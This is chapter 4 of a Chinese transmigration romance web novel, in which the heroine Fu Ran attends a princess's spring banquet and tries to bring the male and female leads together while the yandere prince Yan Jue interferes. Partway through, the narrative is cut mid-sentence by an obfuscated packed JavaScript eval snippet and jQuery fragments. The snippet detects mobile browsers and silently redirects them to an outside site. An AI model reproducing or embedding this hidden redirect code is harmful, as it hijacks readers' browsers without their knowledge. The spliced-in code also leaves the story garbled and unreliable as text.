4. 第 4 章

作品:《攻略偏执反派又抛弃他后

    走进帐中时,远远听闻的乐声已然停止,但见一支光泽流转的青玉笛,被握在坐席上首的少女手中。


    这少女衣裙金彩绚丽,尖俏的下巴微微抬着,令她的目光从他人身上扫过时,天然便带出骄矜而倨傲的神气。


    桌案的另一侧则是个容颜绝世的丽人,着碧衫罗裙,膝上斜放着金饰的琵琶,余音袅袅,是前几天见过的女主苏琼月。


    傅苒认出女主,便知道吹笛的人肯定是书中女主的塑料闺蜜——平原公主晏明光了。


    按惯例,古早文里嫉妒女主的恶毒女配,既有开始就不和睦的,也有最初感情好过,后来却反目成仇的,平原公主就属于后面那一种。


    这位公主并非皇帝的亲生女,是因父亲咸阳王权高位重,本身又极受宠,才被请封为公主。她和苏琼月也是从小相识,两个人一度感情亲如姐妹,当然,是在为了男配崔林而反目之前。


    但要说早期,她对撮合男女主的确出过不少力,就比如当下的这场宴。


    晏明光看见了谢青行自然是毫不意外,只在注意到他身边的傅苒时,倾身向苏琼月低声询问了几句。


    听见回复后,她明显眉头微蹙,似乎稍有不快,但还是先开口道:“谢郎君来得刚巧,我与苏娘子才试过音,舞姬已然备好了。”


    “正是,郎君晚来不知。”席中的一个女郎附和着气氛掩口轻笑,“先头本已是排好了舞伎,没想到公主见春日晴好又起了奏乐的兴头。”


    “不错,听说公主的这只玉笛千金难求,当初宫宴上还得过太后陛下的称赞,今日我竟能听到此等名乐,真是有幸沾光了。”


    “既是因为春日,按如此说法,大家沾的便都是春光,岂不雅致!”


    坐得不远的另一位年轻郎君听得几人捧场,顺势便举起自己的酒杯,一副放浪不羁的神形,“旧日洛阳名士们以曲觞流水为风雅之事,我们此时虽无流水环绕,也应当举觞才是!”


    “好好好——”他这样一起哄,众人顿时纷纷把盏闹腾起来。


    宴上之人本就都是年岁尚轻的少年男女,场合不算正式,随意行乐而已,是以帷帐间也并未设立屏风围障一类的隔断,气氛越发热烈无拘束。


    经过一番吹捧和打岔,晏明光的神色缓和不少,道:“别光拿我打趣了,眼下最得太后心意的人可不就好端端坐在这儿,琼月,你说是吧……琼月?”


    苏琼月这才收回了不知不觉向心上人飘过去的眼神,脸上微露羞涩,只好用指尖拨了拨弦以作掩饰。


    晏明光知道她的心思,便也不再当着他人的面继续调侃她了,拍了拍手,转而切入正题。


    “好了好了,我话先说好,我和苏娘子合奏倒是不成问题,但若要配胡旋,还需要一个人来击鼓。”


    这个理由可以说是早就酝酿好的。


    按她们两人先前的约定,话到此处,晏明光就应该要出言让谢青行来担当这个任务了。


    可偏偏有个声音比她更早一步截住了话头:“既然如此,不如我来帮阿姊击鼓吧。”


    刚入座的傅苒闻声一抬眼,就这样直直望见了某个她不是太想看到的人。


    又是那个病娇晏绝。


    不过,可能因为今天是节假,他看起来没有像上次在谢府的时候那么仪服端正。黑发只用银冠略显随意地束了起来,身上的衣袍也是柔润的云白色,看起来清清朗朗。


    远远地望过去,正是一个多情善感、青春又俊秀的少年郎君。


    这时候,小郎君正笑意盈盈地接过羯鼓道:“我幼时在母后宫中就常听阿姊弹琵琶,尤记得那时候最喜欢的是《芄兰》的曲调,只是我离宫已久,好几年都不曾再听闻过了。”


    苏琼月本还因为计划被扰乱而迟疑地看了看晏明光,但听到这话,仿佛记起了儿时的温情,神色也不禁跟着软化下来。


    “嗯,我以前练习时弹过太多,姑母都常常说要听得不耐烦了,恐怕也唯有你这样念念不忘。”


    “是啊,可惜我多年来还从未有机会为阿姊伴奏过。”晏绝看着她面露犹豫的样子,又补充了一句,语调里甚至不多见地带了点少年讨巧的神气。


    “今日有这个时机,实在难能可贵……阿姊想必不会拒绝我吧?”


    席中分明宾客如云,但他的目光始终只停在了苏琼月身上,近乎是旁若无人的态度,见她总算点头,便得逞般地会心一笑,亲昵又自然。


    他对正儿八经的真堂姐平原公主仿佛视若无睹,反而和苏琼月关系要更近得多。


    两人谈起宫中往昔,如同某种不足为外人道的默契。


    “谢公子,晞容,吃橘子吗?”


    傅苒往嘴里塞了一颗酸甜的葡萄,以看好戏的心态慢悠悠剥着桌上的水果,顺便递了大半给谢家兄妹。


    还没递到谢青行手里,就被谢晞容横了眼,别别扭扭地把盘子一把端走了。


    从进来起,傅苒就全程围观了小病娇争风吃醋的戏码,但毫不担心,反而有点儿事不关己的轻松。


    反正他现在再怎么打亲情牌也不会有成效,原著里从始至终,女主都仅仅是把他当成从小认识的弟弟而已,一点别的感情也没有——如果后来的害怕不算的话。


    所以老话怎么说来着,得不到的总归得不到,又争又抢也是没有用的。


    相比起来,她还是想想怎么让男女主单独见上面更重要。


    宴上舞乐按次序开场,首先响起的依旧是平原公主手中那支笛子。


    玉笛一道清鸣,陡然荡开了帐前的春风,舞姬足踝上系着的金铃便跟着叮铃铃地摇晃起来,青蓝交窬的裙摆应和着鼓点的节拍漾起了一圈圈的涟漪。


    随着音乐逐渐上扬,舞姬们倾身右旋,帔帛卷起华美的弧光。忽然间,琵琶声如珠玉一般迸裂,领舞的女子便不假思索,立即随之仰身折腰,裙裾在飞扬中泼洒出雀尾似的弧度,引发一阵喝彩。


    羯鼓伴随着愈击愈烈,那舞姬却应对自如,眼看发间的红玛瑙坠子已经堪堪要扫到了草尖,她踩着鼓点,猛然又旋身而起,合上笛声将止的尾音,回首嫣然一笑。


    席间顿时激起愈发热烈的欢呼,有人适时向晏明光恭维起来:“不说这设帐的锦缎值得上多少金,单是搜罗十几位善舞的胡姬便已经是难得了,公主的手笔果然不凡啊。”


    上首的晏明光吹完一曲,额头已见薄汗,却满意而克制地翘起唇角,随口客套了几句:“这算得了什么,去年陛下生辰的时候我准备《鹿鸣》,可不比今日的耗神多了。”


    尽管在座的人多是世家子弟,也不是随便谁都见过皇帝的,然而像她这样金枝玉叶的宗室女,提起来却像习以为常一般。


    虽然看似在谦虚,但其中也不□□溢出骄傲之意。


    说起来,要不是这样的性格,说不定她和女主也不至于走到决裂的地步。


    傅苒在心里感叹了一下,就继续认认真真地欣赏舞乐,却忽然听见一个少女惊声笑道:“李七郎,你去瞎凑什么热闹!”


    闹出动静的是最开始起哄喝酒的年轻郎君,他脸上已经喝得泛红,竟自顾自站了起来:“看得够多了,我也来给你们露一手!”


    他快步跳进场中,正踏在最前方的领舞旁边,几乎踩到她的裙摆。


    因为此举突然,领舞明显被吓了一跳,好在她训练有素,才险险躲过了摔倒的危机。但离得最近的几个人却都毫无阻止的意思,反而笑成一片,看乐子看得津津有味。


    被叫做李七郎的青年跳得自然远不如舞姬,加之褒衣博带,大概是偏好名士风流的派头,行动间飘飞的衣袂把舞步遮了大半,差点又要绊倒几个。


    而且大概是喝高了的原因,他跳了没几下,立刻醉鬼的本相毕露,不知道从哪抄起一觚,居然胆子很肥地开始对晏绝劝酒:“我方才见殿下一直就没动过杯,何等胜事,怎可无酒,还当饮此杜康才是。”


    但他显然想多了,晏绝不是对每个人都有对待苏琼月的态度,连一个眼神都懒得瞥过来,直接把他无视了。


    “……”李七郎有点挂不住脸,只好悻悻地自己干了杯。


    晏明光见状这才一拍桌子,没好气道:“我办这宴可不是让你来闹事的,赶紧坐回去!”


    “行,行,公主都发话了,我这就回……”


    摇摇晃晃的李七郎总算顺台阶下了,朝着原本的座位走回去,但因为醉酒,步子迈得歪七斜八的,被地上的什么东西一绊,整个人控制不住地往前扑倒,差点掀翻了傅苒的案桌。


    好在旁边的谢青行反应更快,余光一扫,身体便已经做出动作。


    他常年练军,出手迅捷,李七郎只觉被一股力道按在肩膀上,膝盖往下一压,天旋地转,瞬间直挺挺跪坐在了铺陈的氍毹上,人终于安分了。


    晕乎乎的醉鬼还干笑了两声:“哈哈,多亏了谢郎君。”


    谢青行镇静地松开了他,继而转头安慰道:“阿苒,你没吓到吧?”


    “没有没有,我在这。”傅苒却从另一侧闪了出来,向他挥了挥手。


    还好她可是看过剧本的人,见到李七郎开始喝醉闹事就感觉不妙,所以在对方转身的同时飞快抄起坐席,全身而退,留给了男主充分的发挥空间。


    要说惊吓,刚才的舞姬倒是真的被吓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419393|168959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到了,人家打个工多不容易。


    当然也多亏系统不强制走原著线,否则,女配就得摆出弱柳扶风的姿态,一套丝滑小连招往男主身上靠过去,继而引得女主吃醋委屈了。


    这个白莲花是真不容易当啊。


    她底气不足地瞄了一眼苏琼月,却发现对方貌似完全没注意到她的小动作,以看心上人的神色专注地盯着男主平息混乱的英姿,耳根微红,那叫一个含情脉脉。


    但是很显然,女主心动了,肯定会另有人不高兴。


    果不其然,晏绝眼神转冷,不着痕迹地靠近了过去,挡住了苏琼月的视线,朝她露出撒娇般的笑容:“阿姊,帐子里人多,看你脸上都闷红了,不如我陪你出去透一会气吧?”


    苏琼月的双颊顿时更红了,张了张口,却不好意思和看似满脸关心的少年解释原因。


    然而她还是想也不想便婉言拒绝了,“那你先出去吧,我一会再自己去好了。”


    “……”傅苒幸灾乐祸地看了眼晏绝的脸色,忍着笑又往嘴里塞了两颗葡萄。


    就说吧,心机是争不过天选的。


    不过晏绝走了,她的阻碍就更少了一个。眼看女主偷瞄谢青行无数次,总算下定决心合上琵琶匣,悄无声息地向晏明光耳语了几句,平原公主立刻露出会意的笑容,打趣似地推了她一把。


    “你想逛了就去吧,”晏明光略有些刻意地抬高声音,好像就是想让某人听到,“但我这会怠懒得很,可不打算陪你了。”


    这也暗示得太明显了吧,傅苒精神一振,火速对完全不明白情况的谢青行扯了个离开的借口:“刚才好像吃太多了,坐着发撑,我也想出去走走。”


    走出帐子,她踮起脚尖四处张望,没多久就发现一抹熟悉的青碧色从岸边闪过,隐隐约约走向了河洲。


    是女主的衣服没错。


    她迫不及待地拎起裙摆,急匆匆追了过去。


    很好,目前都还算顺利,反正只要找到约定的地方,再随便找理由把谢青行引过去就好了。


    唯一的问题是,很难说清为什么,想起那天小病娇的笑容,傅苒总有种不太好的预感……他不会还打着什么算盘吧?


    事实证明。


    人往往怕什么就来什么。


    穿过树林后,她没看到苏琼月,而是被另一个人截住了。


    先前离席的晏绝不知什么时候独自站在了河畔,身边柳荫浓深,修长的手指间正握着一段青翠的枝叶。


    其实已经不太能算是一段了,始作俑者大概是准备把它揉成某种形状,但由于手法太过粗暴,原本柔韧的柳枝都被糟蹋得不成样子,看起来更像是团纠缠的线团。


    而就在她目光落上去的同时,那枝条终于不堪重负,从中间咔擦一声折断了。


    他抬眼看见傅苒,唇边漫出一个嘲讽般的笑容,随即像对待垃圾一样将它随手一抛。早已饱经蹂躏的柳枝可怜巴巴地落在了泥里,傅苒不自觉心头一颤,仿佛对它的命运感同身受。


    “晏……”她被突然惊吓,差点就把脑海里盘桓的名字念出来,还好音节刚卡在喉咙里就猛然惊醒,赶紧停下了脚步,“清河王殿下。”


    好险好险,幸亏没叫出口。


    老实说她一直觉得作者名字取得相当清奇,毕竟绝这个字用作一位皇子的名,在古代背景下好像多少有点不太吉利。不过鉴于这是篇古早小说,没取名叫“东方离”“南宫殇”就已经不错了,不能计较太多。


    眼前的光影倏尔晃动了一下,少年的革靴底从柔软易折的初生绿草上踏过,脚下随之传来草叶断裂的咯吱轻响。


    他竟然不慌不忙地走到了傅苒面前,遮蔽日光的阴影顺势落在她的身上,笑吟吟的模样让人心头一阵不安。


    “傅姑娘,没想到会在这里碰面,真是巧遇。”


    直觉告诉傅苒,这次相遇一点也不巧。


    但现在,她就是想躲也躲不掉了,只好硬着头皮行礼问候:“那我们也太有缘分了,不过殿下,你有什么事吗?”


    晏绝不知打的什么主意,神情倒是称得上和善,却丝毫没有要让开的意思:“我自然无事,倒是你行色匆匆,难道是有什么急着要做的?”


    “没有,”她当然不敢说出真实原因,“我只是觉得河边空气真好,出来散个步而已。”


    “是吗?看来我们不谋而合,我也正清闲得很,不如陪你一起散散步。”


    我又不是女主,你哪来的这么多闲工夫……!


    傅苒内心发出一阵尖锐爆鸣,表面上却敢怒不敢言,只能被强行带着拐了个弯,朝苏琼月消失的反方向绕了回去。